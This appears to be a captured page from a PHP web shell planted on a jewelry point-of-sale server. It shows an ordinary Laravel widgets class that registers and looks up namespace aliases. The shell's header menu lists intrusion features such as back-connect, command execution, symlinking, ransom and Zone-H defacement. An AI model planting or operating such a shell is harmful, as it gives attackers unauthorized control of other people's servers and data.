Path : /var/www/html/jewelry-pos/vendor/arrilot/laravel-widgets/src/ |
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
Current File : /var/www/html/jewelry-pos/vendor/arrilot/laravel-widgets/src/NamespacesRepository.php |
<?php namespace Arrilot\Widgets; use Arrilot\Widgets\Misc\NamespaceNotFoundException; class NamespacesRepository { /** * The array of namespaces. * * @var array */ protected $namespaces; /** * Register a namespace. * * @param string $alias * @param string $namespace * * @return $this */ public function registerNamespace($alias, $namespace) { $this->namespaces[$alias] = rtrim($namespace, '\\'); return $this; } /** * Get namespace by his alias. * * @param string $alias * * @throws \Exception * * @return string */ public function getNamespace($alias) { if (!isset($this->namespaces[$alias])) { throw new NamespaceNotFoundException('Namespace not found with the alias "'.$alias.'"'); } return $this->namespaces[$alias]; } }